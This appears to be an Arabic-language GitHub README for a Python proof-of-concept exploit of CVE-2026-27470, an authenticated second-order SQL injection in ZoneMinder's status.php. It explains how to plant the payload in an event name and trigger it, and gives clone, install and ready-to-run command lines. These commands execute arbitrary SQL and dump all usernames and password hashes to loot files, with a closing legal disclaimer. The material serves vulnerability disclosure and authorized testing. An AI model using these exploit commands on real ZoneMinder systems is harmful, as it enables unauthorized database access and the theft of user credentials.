
# برهان إثبات المفهوم بلغة بايثون لـ CVE-2026-27470، حقن SQL من الدرجة الثانية بعد المصادقة في دالة getNearEvents() (status.php) في ZoneMinder، بدرجة CVSS 8.8
المؤلف: d3vn0mi | CVSS 8.8 | يتطلب مصادقة | يتطلب صلاحية الأحداث
CVE-2026-27470 هي ثغرة حقن SQL من الدرجة الثانية في ملف web/ajax/status.php الخاص بـ ZoneMinder — وتحديداً في الدالة getNearEvents().
| التفاصيل | القيمة |
|---|
| الإصدارات المتأثرة | ZoneMinder <= 1.36.37 و 1.37.61 – 1.38.0 |
| تم الإصلاح في | 1.36.38 / 1.38.1 |
| النوع | حقن SQL من الدرجة الثانية |
| المصادقة المطلوبة | نعم (أي مستخدم لديه صلاحية الأحداث) |
| CVSS | 8.8 (عالية) |
الثغرة هي حقن SQL على مرحلتين (من الدرجة الثانية):
المرحلة 1 — التخزين: يقوم المهاجم بإعادة تسمية حدث (أو تعديل حقل السبب الخاص به) ليتضمن حمولة SQL. يستخدم ZoneMinder استعلاماً معامَلاً لهذه العملية، لذا يتم تخزين الحمولة بأمان في قاعدة البيانات — لا يوجد جدار حماية للتطبيقات أو فلتر يحظرها.
المرحلة 2 — التشغيل: يطلب المهاجم كيان nearevents عبر واجهة برمجة تطبيقات الحالة. تقوم الدالة getNearEvents() بقراءة اسم/سبب الحدث المخزن من قاعدة البيانات وتدمجه مباشرة في استعلام SQL جديد دون تعقيم، مما يؤدي إلى حقن SQL.
نظراً لأن ناقل الحقن (البيانات المخزنة) منفصل عن المشغّل (طلب GET نظيف)، فإن هذا يتجاوز معظم الحمايات على مستوى الإدخال.
git clone https://github.com/d3vn0mi/CVE-2026-27470-POC.git
cd CVE-2026-27470-POC
pip install -r requirements.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT user()"
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users
يتم حفظ بيانات الاعتماد في dumped_creds.txt افتراضياً.
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users -o loot.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT @@datadir" -o result.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password --proxy http://127.0.0.1:8080
python3 poc.py -t http://10.10.10.10 -u admin -p password --field Cause --query "SELECT database()"
python3 poc.py -t http://10.10.10.10 -u admin -p password --event-id 42
python3 poc.py -t http://10.10.10.10 -u admin -p password -v
| العلم | الوصف | الافتراضي |
|---|---|---|
-t, --target | عنوان URL الهدف | (مطلوب) |
-u, --username | اسم مستخدم ZoneMinder | (مطلوب) |
-p, --password | كلمة مرور ZoneMinder | (مطلوب) |
--query | استعلام SQL للتنفيذ | SELECT VERSION() |
--dump-users | تفريغ جميع أسماء المستخدمين وتجزئات كلمات المرور | |
-o, --output | حفظ النتائج في ملف | dumped_creds.txt |
--event-id | معرف الحدث لاستخدامه كناقل للحقن | (اكتشاف تلقائي) |
--field | حقل الحقن: Name أو Cause | Name |
--no-restore | عدم استعادة اسم الحدث بعد الاستغلال | |
--proxy | عنوان URL للوكيل HTTP | |
--timeout | مهلة الطلب بالثواني | 30 |
-v, --verbose | تفعيل تسجيل التصحيح |
هذه الأداة مقدمة لأغراض البحث الأمني التعليمي والمصرح به فقط. لا تستخدمها ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها. المؤلفون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.